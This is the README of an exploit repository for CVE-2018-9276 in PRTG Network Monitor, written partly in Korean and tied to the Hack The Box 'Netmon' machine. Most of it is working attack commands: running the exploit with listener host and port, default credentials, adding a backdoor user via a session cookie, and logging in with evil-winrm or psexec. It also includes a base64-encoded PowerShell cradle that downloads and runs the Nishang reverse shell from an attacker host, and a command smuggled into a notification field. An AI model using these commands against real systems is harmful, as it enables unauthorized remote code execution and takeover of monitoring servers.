
CVE-2018-9276 PRTG < 18.2.39 Reverse Shell (Python3 support)
CVE-2018-9276 PRTG < 18.2.39 리버스 셸 (Python3 지원)
git clone https://github.com/A1vinSmith/CVE-2018-9276.git
./exploit.py -i targetIP -p targetPort --lhost hostIP --lport hostPort --user user --password pass
prtgadmin:prtgadmin을 시도해보세요. 데이터베이스나 로그를 확인하여 자격 증명을 얻는 것도 고려해볼 만합니다. https://kb.paessler.com/en/topic/463-how-and-where-does-prtg-store-its-data--lport 445를 시도하세요.HTB Netmon 박스
OS Name: Microsoft Windows Server 2016 Standard
OS Version: 10.0.14393 N/A Build 14393
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00376-30821-30176-AA362
Original Install Date: 2/3/2019, 7:05:45 AM
System Boot Time: 7/28/2021, 9:02:41 PM
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
wildkindcc의 python2 버전에 큰 감사를 드립니다. https://github.com/wildkindcc/CVE-2018-9276
https://www.rapid7.com/db/modules/exploit/windows/http/prtg_authenticated_rce/
https://www.exploit-db.com/exploits/46527
https://github.com/chcx/PRTG-Network-Monitor-RCE
익스플로잇을 수행하려면 자격 증명이 필요합니다. 먼저 로그인하여 인증된 쿠키를 얻고 새 사용자를 추가합니다.
./prtg-exploit.sh -u http://10.10.10.10 -c "OCTOPUS1813713946=XXX"
// evil-winrm으로 새 사용자로 로그인
evil-winrm -i 10.10.10.10 -u pentest -p 'P3nT3st!'
// 또는 psexec.py 대안
python3 /path/etc/impacket/examples/psexec.py pentest:'P3nT3st!'@10.10.10.10

사용자를 추가하지 않으려는 경우, 더 나은 OPSEC을 위해 리버스 셸을 얻을 수 있습니다. 그러나 HTML 인코딩으로 인해 많은 문자가 인코딩됩니다. PowerShell base64 실행을 사용하여 이를 우회할 수 있습니다. base64로 인코딩된 명령을 생성해야 합니다. 단, Windows에서 사용하는 인코딩인 UTF-16LE여야 합니다.
❯ echo -n "IEX(new-object net.webclient).downloadstring('http://10.10.10.100/Invoke-PowerShellTcp.ps1' )" | iconv -t UTF-16LE | base64 -w0
SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
iconv를 사용하여 대상 인코딩으로 변환하고 Nishang의 이 리버스 셸을 실행합니다. https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
스크립트를 다운로드하고 명령을 마지막 줄에 추가합니다.
wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.10.100 -Port 4444' >> Invoke-PowerShellTcp.ps1
이제 간단한 HTTP 서버를 시작하고 새 알림을 생성합니다.
python3 -m http.server 80
Setup > Account Settings > Notifications -> 오른쪽 끝에 있는 "Add new notification"을 클릭합니다. Bell 버튼을 클릭하여 알림을 트리거합니다.
abc.txt | powershell -enc SQBFAFgAKABu...SNIP...HMAMQAnACAAKQA=
